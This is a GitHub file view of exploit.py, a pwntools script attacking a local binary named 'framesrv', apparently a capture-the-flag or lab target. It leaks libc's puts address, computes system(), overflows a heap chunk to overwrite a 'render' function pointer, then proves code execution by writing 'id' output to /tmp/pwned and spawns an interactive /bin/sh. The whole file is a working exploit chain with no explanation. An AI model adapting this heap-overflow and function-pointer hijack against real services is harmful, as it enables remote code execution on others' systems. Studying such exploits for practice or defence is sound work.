Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
102 lines (85 loc) · 3 KB
/
Copy pathexploit.py
File metadata and controls
102 lines (85 loc) · 3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
from pwn import *
import sys, time, os
context.binary = elf = ELF('./framesrv')
context.arch = 'i386'
context.log_level = 'info'
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6', checksec=False)
USE_REMOTE = False
HOST, PORT = '127.0.0.1', 9090
CHUNK_SIZE = 0x29
READ_CAP = 64
def start():
return remote(HOST, PORT) if USE_REMOTE else process('./framesrv')
def run_exploit(cmd):
"""Full chain. cmd is bytes, must be <=24 bytes (fits in name+w+h)."""
assert len(cmd) <= 24, f"cmd too long: {len(cmd)}"
p = start()
def sl(x): p.sendline(str(x).encode())
def menu(): p.recvuntil(b'\n> ')
menu()
sl(1); p.recvuntil(b'slot: '); sl(0)
p.recvuntil(b'w: '); sl('0x10000')
p.recvuntil(b'h: '); sl('0x10000')
menu()
sl(1); p.recvuntil(b'slot: '); sl(1)
p.recvuntil(b'w: '); sl(1)
p.recvuntil(b'h: '); sl(1)
menu()
sl(6)
p.recvuntil(b'[leak] libc puts = ')
puts_rt = int(p.recvline().strip(), 16)
base = puts_rt - libc.symbols['puts']
system = base + libc.symbols['system']
log.success(f"libc={hex(base)} system={hex(system)}")
payload = b'\x00' * 8
payload += p32(0) # prev_size
payload += p32(CHUNK_SIZE) # size
payload += cmd.ljust(24, b'\x00') # name+w+h (24 bytes total)
payload += p32(system) # render ← hijack at offset 40
payload += b'\x00' * (READ_CAP - len(payload))
assert len(payload) == READ_CAP
assert payload[40:44] == p32(system)
sl(2); p.recvuntil(b'slot: '); sl(0)
p.recvuntil(b'[fill] slot=0 reading')
p.recvuntil(b'\n')
p.send(payload + b'\n')
p.recvuntil(b'[fill] wrote 64 bytes')
menu()
sl(4); p.recvuntil(b'slot: '); sl(1)
return p, system
# ── STAGE 1: prove RCE — write /tmp/pwned via id ───────────────
try: os.remove('/tmp/pwned')
except FileNotFoundError: pass
p, system = run_exploit(b'id>/tmp/pwned')
time.sleep(1.5)
if os.path.exists('/tmp/pwned'):
content = open('/tmp/pwned').read()
if 'uid=' in content:
log.success(f"RCE CONFIRMED — {content.strip()}")
else:
log.failure(f"file exists but wrong content: {content!r}"); sys.exit(1)
else:
log.failure("/tmp/pwned NOT created → system() did not execute")
log.info(f"system was {hex(system)} — check frames[1]->render in gdb")
sys.exit(1)
p.close()
# ── STAGE 2: real /bin/sh ──────────────────────────────────────
log.success("RCE verified — spawning /bin/sh")
p, system = run_exploit(b'/bin/sh')
time.sleep(0.3)
# Scripted shell probe (bypasses interactive() WSL quirks)
def sh(cmd):
p.sendline(cmd)
time.sleep(0.4)
try:
out = p.recv(timeout=2)
except EOFError:
log.warning(f"EOF after {cmd!r}"); return b''
print(f"$ {cmd.decode()}\n{out.decode(errors='replace')}", end='')
return out
sh(b'id 2>&1')
sh(b'whoami 2>&1')
sh(b'uname -a 2>&1')
sh(b'ls / 2>&1')
p.interactive()